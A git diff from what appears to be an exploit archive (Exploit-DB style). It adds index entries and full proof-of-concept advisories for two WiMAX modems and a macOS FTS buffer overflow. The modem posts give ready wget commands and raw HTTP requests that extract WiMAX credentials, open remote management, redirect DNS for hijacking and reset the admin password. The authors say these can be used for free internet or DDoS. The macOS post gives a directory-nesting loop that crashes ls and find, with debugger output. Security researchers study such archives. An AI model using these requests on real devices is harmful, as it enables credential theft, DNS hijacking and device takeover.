diff --git a/files.csv b/files.csv index 6257ba24d..95173bac1 100755 --- a/files.csv +++ b/files.csv @@ -35174,3 +35174,17 @@ id,file,description,date,author,platform,type,port 38908,platforms/php/webapps/38908.txt,"Leed 'id' Parameter SQL Injection Vulnerability",2013-12-18,"Alexandre Herzog",php,webapps,0 38909,platforms/linux/dos/38909.txt,"DenyHosts 'regex.py' Remote Denial of Service Vulnerability",2013-12-19,"Helmut Grohne",linux,dos,0 38910,platforms/windows/remote/38910.txt,"Hancom Office '.hml' File Processing Heap Buffer Overflow Vulnerability",2013-12-19,diroverflow,windows,remote,0 +38911,platforms/windows/remote/38911.txt,"Microsoft Windows Media Center Library Parsing RCE Vulnerability aka _self-executing_ MCL File",2015-12-09,"Eduardo Braun Prado",windows,remote,0 +38912,platforms/windows/remote/38912.txt,"Microsoft Windows Media Center Link File Incorrectly Resolved Reference",2015-12-09,"Core Security",windows,remote,0 +38913,platforms/hardware/webapps/38913.txt,"WIMAX LX350P(WIXFMR-108) - Multiple Vulnerabilities",2015-12-09,alimp5,hardware,webapps,0 +38914,platforms/hardware/webapps/38914.txt,"WIMAX MT711x - Multiple Vulnerabilities",2015-12-09,alimp5,hardware,webapps,0 +38915,platforms/php/webapps/38915.txt,"Wordpress Plugin WP Easy Poll 1.1.3 - XSS and CSRF",2015-12-09,Mysticism,php,webapps,80 +38916,platforms/windows/dos/38916.html,"IE 11.0.9600.18097 COmWindowProxy::SwitchMarkup NULL PTR",2015-12-09,"Marcin Ressel",windows,dos,0 +38917,platforms/osx/dos/38917.txt,"MacOS X 10.11 FTS Deep Structure of the File System Buffer Overflow",2015-12-09,"Maksymilian Arciemowicz",osx,dos,0 +38918,platforms/windows/remote/38918.txt,"Microsoft Office / COM Object els.dll DLL Planting (MS15-134)",2015-12-09,"Google Security Research",windows,remote,0 +38919,platforms/php/webapps/38919.txt,"JForum 'adminUsers' Module Cross Site Request Forgery Vulnerability",2013-12-26,arno,php,webapps,0 +38920,platforms/php/webapps/38920.txt,"AFCommerce /afcontrol/adblock.php rootpathtocart Parameter Remote File Inclusion",2013-12-25,NoGe,php,webapps,0 +38921,platforms/php/webapps/38921.txt,"AFCommerce /afcontrol/adminpassword.php rootpathtocart Parameter Remote File Inclusion",2013-12-25,NoGe,php,webapps,0 +38922,platforms/php/webapps/38922.txt,"AFCommerce /afcontrol/controlheader.php rootpathtocart Parameter Remote File Inclusion",2013-12-25,NoGe,php,webapps,0 +38923,platforms/windows/remote/38923.txt,"Apple Safari For Windows PhishingAlert Security Bypass Weakness",2013-12-07,Jackmasa,windows,remote,0 +38924,platforms/php/webapps/38924.txt,"WordPress 2.0.11 '/wp-admin/options-discussion.php' Script Cross Site Request Forgery Vulnerability",2013-12-17,MustLive,php,webapps,0 diff --git a/platforms/hardware/webapps/38913.txt b/platforms/hardware/webapps/38913.txt new file mode 100755 index 000000000..81b7a66c9 --- /dev/null +++ b/platforms/hardware/webapps/38913.txt @@ -0,0 +1,77 @@ +### Exploit Title: WIMAX LX350P(WIXFMR-108) - Multiple Vulnerabilities +### Date: ˝Friday, ˝December ˝11, ˝2015 +### Exploit/Vulnerability Author: Alireza Azimzadeh Milani (alimp5) +### Vendor Homepage: http://www.greenpacket.com +### Version: v2.10.14-g1.5.2 +### Tested on: Kali-Linux + +I'm an ethical penetration tester and super moderator of Iran Security Team(http://irsecteam.org) +I have updated the modem to latest firmware which released by the company. +but with this work(upgrading the firmware); The attacker can bypass the authentication mechanism. + +### Details of LX350P model: +Device Information: +Hardware model: WIXFMR-108 +Firmware version: v2.10.14-g1.5.2-mobinnet +Firmware version: v2.10.14-g1.5.2 +Firmware creation date: Mon Aug 15 16:45:58 2013 +Frequency range: 3300000KHz~3600000KHz +Serial number: DXHKC120702523 + +I used below tools to find the vulnerabilities: +1)BurpSuite - Free Edition 2)wget 3)Nmap + + +### POCs of the modem: +#Get wimax credentials>> +wget -c "http://server/ajax.cgi?action=tag_init_wimax_auth.php" + +#Enable and Change DMZ_Host IP in Firewall(request manipulating with BurpSuie)>> +POST /ajax.cgi?action=net_firewall HTTP/1.1 +Host: server +User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Cookie: Language=en; page=net_firewall.php +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 113 +NETFILTER_FW_IPFILTER=&MGMT_WEB_WAN=on&MGMT_TELNET_WAN=on&NETFILTER_DMZ_HOST=8.8.8.8&btnSubmit=1 + +#Ping a system: (We can use from below query for launching (D)DOS attacks>> +http://server/ajax.cgi?action=tag_ipPing&pip=4.2.2.4&cache=false +http://server/ajax.cgi?action=tag_ipPing&pip=192.168.1.1&cache=false +http:/server/ajax.cgi?action=tag_ipPing&pip=192.168.1.1&cache=false + +#Get info about WAN MAC, LAN MAC, DHCP + ... >> +http://server/ajax.cgi?action=tag_init_net_dhcp.php&cache=false + +#Change the DNS IP Addresses (DNS Hijacking, Spoofing)>> +POST /ajax.cgi?action=net_dhcp HTTP/1.1 +Host: server +User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Cookie: Language=en; page=net_dhcp.php +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 945 +DHCPD_STATIC_LEASE=&DHCPD_ENABLE=1&DHCPD_START_IP_01=192&DHCPD_START_IP_02=168&DHCPD_START_IP_03=1&DHCPD_START_IP_04=2&DHCPD_START_IP=192.168.1.2&DHCPD_END_IP_01=192&DHCPD_END_IP_02=168&DHCPD_END_IP_03=1&DHCPD_END_IP_04=200&DHCPD_END_IP=192.168.1.200&dns_type_1=2&DNS_IP_1_01=6&DNS_IP_1_02=6&DNS_IP_1_03=6&DNS_IP_1_04=6&DNS_IP_1=6.6.6.6&dns_type_2=2&DNS_IP_2_01=8&DNS_IP_2_02=8&DNS_IP_2_03=8&DNS_IP_2_04=8&DNS_IP_2=8.8.8.8&dns_type_3=1&DNS_IP_3_01=0&DNS_IP_3_02=0&DNS_IP_3_03=0&DNS_IP_3_04=0&DNS_IP_3=&DHCPD_LEASE_TIME=1440&btnSubmit=1&DHCPD_DNS=2%2C6.6.6.6+2%2C8.8.8.8+1%2C0.0.0.0&ippt_enable=0&Active_0=Y&Interface_0=1&Protocol_0=1&SrcPort_0=68&DestPort_0=67&Comment_0=DHCP+request+from+lan&Active_1=Y&Interface_1=2&Protocol_1=1&SrcPort_1=67&DestPort_1=68&Comment_1=DHCP+response+from+wan&IPPT_EXCEPTION=1%2CY%2C1%2C1%2C68%2C67%2CDHCP+request+from+lan%3B2%2CY%2C2%2C1%2C67%2C68%2CDHCP+response+from+wan%3B&IPPT_EXCEPTION_NUM=2 + +#Frame Injection>> +http://server/ajax.cgi?action=&sid=DtTrEZnLke5Z&cache=false&time=1449547319726 +http://server/ajax.cgi?action=&sid=DtTrEZnLke5Z&cache=false +http://server/ajax.cgi?action=cache=false +http://server/ajax.cgi?action=&time=3 + + +### Conclusion: +1)the attacker can read sensitive information and set it on his own modem. such: for using free internet. +2)Anyone who can send a packet to the modem for crashing/downgrading/DOS. +3)An attacker might use "Frame Injection" to redirect users to other malicious websites that are used for phishing and similar attacks. +4)To obtain the control of similar modem(LX350P) in order to launching DOS or DDOS attacks on targets in WWW(world wide web). + + +At the end, I am thankful and I wait for your response. \ No newline at end of file diff --git a/platforms/hardware/webapps/38914.txt b/platforms/hardware/webapps/38914.txt new file mode 100755 index 000000000..6fac24b6e --- /dev/null +++ b/platforms/hardware/webapps/38914.txt @@ -0,0 +1,69 @@ +### Exploit Title: WIMAX MT711x - Multiple Vulnerabilities +### Date: ˝Friday, ˝December ˝11, ˝2015 +### Exploit/Vulnerability Author: Alireza Azimzadeh Milani (alimp5) +### Vendor Homepage: http://www.seowonintech.co.kr/en/ +### Version: V_3_11_14_9_CPE +### Tested on: Kali-Linux + +I'm an ethical penetration tester and super moderator of Iran Security Team(http://irsecteam.org) +I have updated the modem to latest firmware which released by the company. +but with this work(upgrading the firmware); The attacker can bypass the authentication mechanism. + +### Details of MT711x model: +Version Information: +Build Time 2014.08.18-11:49 +CPE Ver 1.0.9 +MTK FW Ver EX_REL_MT711x_V_3_11_14_9_CPE +Serial Number IRMB1351C9200-0001044 + +I used below tools to find the vulnerabilities: +1)BurpSuite - Free Edition 2)wget 3)Nmap + + +### POCs of the modem: +#Get the WIFI settings>> +wget -c "http://server/cgi-bin/multi_wifi.cgi" + +#Get Wimax credentials>> +wget -c "http://server/cgi-bin/wccm_wimax_setting.cgi" + +#Enable and Disable connections to modem (as default those are ENABLED)>> +http://server/cgi-bin/remote.cgi + + +#Ping a system (useful for launching (D)DOS attack)>> +POST /cgi-bin/diagnostic.cgi HTTP/1.1 +Host: server +User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://server/cgi-bin/diagnostic.cgi +Cookie: login=; login=admin +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 158 +select_mode_ping=on&ping_ipaddr=4.2.2.4&ping_count=10&trace_ipaddr=&trace_max_ttl=6&trace_qoeries_num=3&trace_report_only_hidden=0&action=Apply&html_view=ping + +#Change the password of ADMIN account: +POST /cgi-bin/pw.cgi HTTP/1.1 +Host: server +User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://server/cgi-bin/pw.cgi +Cookie: login=admin +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 81 +isp_name=mobinnet&pw_set_select=admin&passPass=admin&passCfirm=admin&action=Apply + + +### Conclusion: +1)the attacker can read sensitive information and set it on his own modem. such: for using free internet. +2)Anyone who can send a packet to the modem for crashing/downgrading/DOS. +3)To obtain the control of similar modem(MT711x) in order to launching DOS or DDOS attacks on targets in WWW(world wide web). + + +At the end, I am thankful and I wait for your response. \ No newline at end of file diff --git a/platforms/osx/dos/38917.txt b/platforms/osx/dos/38917.txt new file mode 100755 index 000000000..25b965019 --- /dev/null +++ b/platforms/osx/dos/38917.txt @@ -0,0 +1,284 @@ +MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow +Credit: Maksymilian Arciemowicz ( CXSECURITY ) +Website: +http://cxsecurity.com/ +http://cert.cx/ + + +Affected software: +- MACOS's Commands such as: ls, find, rm +- iPhone 4s and later, +- Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch Hermes +- Apple TV (4th generation) +- probably more + +Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting. + +PoC: +Create an direcotry and perform the following actions: + + +# for i in {1..1024}; do mkdir B && cd B; done +... +cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory + + +If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g. + + +# for i in {1..1024}; do cd .. ; done + + +Then you can perform recursive 'ls' command. Let's run it ten times: + + +# for i in {1..10}; do ls -laR > /dev/null; done +ls: B: No such file or directory +ls: B: No such file or directory +ls: B: No such file or directory +ls: B: No such file or directory +ls: B: No such file or directory +ls: B: No such file or directory +ls: B: No such file or directory +ls: B: No such file or directory +Segmentation fault: 11 +Segmentation fault: 11 +Segmentation fault: 11 +ls: B: No such file or directory +ls: B: No such file or directory +Segmentation fault: 11 +ls: B: No such file or directory +ls: B: No such file or directory + + +crash randometly. Let's see valgrind and lldb + + +LLDB: +... +/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: +total 0 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 + +./B/B/B/B/B/B/B/B/..../B/B: +Process 987 stopped +* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) +frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 +libsystem_c.dylib`strlen: +-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0 +0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi +0x7fff97ab6d3a <+26>: andq $0xf, %rcx +0x7fff97ab6d3e <+30>: orq $-0x1, %rax + +(lldb) x/x $rdi +error: memory read failed for 0xfeb66c00 +(lldb) register read +General Purpose Registers: +rax = 0x00000000ffffffff +rbx = 0x00000000ffffffff +rcx = 0x00000000feb66c08 +rdx = 0x00000000feb66c08 +rdi = 0x00000000feb66c00 +rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742 +rbp = 0x00007fff5fbfe710 +rsp = 0x00007fff5fbfe710 +... +rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 +... +(lldb) bt +* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) +* frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 +frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713 +frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669 +frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596 +frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80 +frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128 +frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$$ls + 1564 +frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$$ls + 421 +frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$$ls + 2300 +frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1 + +=== Time for Valgrind ============= + +B/B/B/B/B/../B: +total 0 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 + +./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: +total 0 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 +drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 +==1009== Invalid write of size 1 +==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) +==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x100001DAD: ??? (in /bin/ls) +==1009== by 0x100001A6F: ??? (in /bin/ls) +==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) +==1009== by 0x1: ??? +==1009== by 0x104809C8A: ??? +==1009== by 0x104809C8D: ??? +==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd +==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) +==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x100001B92: ??? (in /bin/ls) +==1009== by 0x100001A6F: ??? (in /bin/ls) +==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) +==1009== by 0x1: ??? +==1009== by 0x104809C8A: ??? +==1009== by 0x104809C8D: ??? +==1009== + +./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: +==1009== Invalid read of size 1 +==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) +==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x1000024A7: ??? (in /bin/ls) +==1009== by 0x100001CFC: ??? (in /bin/ls) +==1009== by 0x100001A6F: ??? (in /bin/ls) +==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) +==1009== by 0x1: ??? +==1009== by 0x104809C8A: ??? +==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd +==1009== +==1009== +==1009== Process terminating with default action of signal 11 (SIGSEGV) +==1009== Access not within mapped region at address 0x102D20318 +==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) +==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib) +==1009== by 0x1000024A7: ??? (in /bin/ls) +==1009== by 0x100001CFC: ??? (in /bin/ls) +==1009== by 0x100001A6F: ??? (in /bin/ls) +==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) +==1009== by 0x1: ??? +==1009== by 0x104809C8A: ??? +==1009== If you believe this happened as a result of a stack +==1009== overflow in your program's main thread (unlikely but +==1009== possible), you can try to increase the size of the +==1009== main thread stack using the --main-stacksize= flag. +==1009== The main thread stack size used in this run was 8388608. +==1009== +==1009== HEAP SUMMARY: +==1009== in use at exit: 1,671,999 bytes in 6,025 blocks +==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated +==1009== +==1009== LEAK SUMMARY: +==1009== definitely lost: 519 bytes in 6 blocks +==1009== indirectly lost: 104 bytes in 6 blocks +==1009== possibly lost: 0 bytes in 0 blocks +==1009== still reachable: 1,645,151 bytes in 5,819 blocks +==1009== suppressed: 26,225 bytes in 194 blocks +==1009== Rerun with --leak-check=full to see details of leaked memory +==1009== +==1009== For counts of detected and suppressed errors, rerun with: -v +==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) +Segmentation fault: 11 +MacMini:SCANME cxsecurity$ + + +It looks like a buffer overflow in memmove(). Code + +http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c + + +The same issue for 'find' which may be used in cron scripts like + + +./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print +./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print +./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days +./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1; + + +Let's see valgrind output. + + +MacMini:SCANME cxsecurity$ valgrind find . -name "R" +==1055== Memcheck, a memory error detector +==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. +==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info +==1055== Command: find . -name R +==1055== +find: ./.Trashes: Permission denied +==1055== Invalid write of size 2 +==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) +==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) +==1055== by 0x1000013FA: ??? (in /usr/bin/find) +==1055== by 0x1000052AD: ??? (in /usr/bin/find) +==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib) +==1055== by 0x3: ??? +==1055== by 0x10480CC7F: ??? +==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd +==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) +==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib) +==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) +==1055== by 0x1000013FA: ??? (in /usr/bin/find) +==1055== by 0x1000052AD: ??? (in /usr/bin/find) +==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib) +==1055== by 0x3: ??? +==1055== by 0x10480CC7F: ??? +... + +Invalid memory write without crashing. + + +BTW: +Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc. + +====== References =================================== +https://cxsecurity.com/issue/WLB-2014040027 +https://cxsecurity.com/cveshow/CVE-2014-4433/ +https://cxsecurity.com/cveshow/CVE-2014-4434/ +https://cxsecurity.com/issue/WLB-2013110059 +https://cxsecurity.com/cveshow/CVE-2013-6799/ +https://cxsecurity.com/issue/WLB-2010040284 +https://cxsecurity.com/cveshow/CVE-2010-0105/ +https://cxsecurity.com/issue/WLB-2005090063 + + +====== Thanks =================================== +Kacper and Smash_ from DEVILTEAM for technical support. + + +====== Credit =================================== +Maksymilian Arciemowicz from cxsecurity.com + +http://cxsecurity.com/ +http://cert.cx/ +http://cifrex.org/ \ No newline at end of file diff --git a/platforms/php/webapps/38855.txt b/platforms/php/webapps/38855.txt index 02a17ff44..c819dc1a1 100755 --- a/platforms/php/webapps/38855.txt +++ b/platforms/php/webapps/38855.txt @@ -12,8 +12,8 @@ Description ======================================================================== -One can perform an SQL injection attack simply by exploiting the -following WP ajax actions: +One can perform an SQL injection attack simply by exploiting the following = +WP ajax actions: 1. `edit_video` 2. `delete_photo` @@ -47,37 +47,36 @@ POST 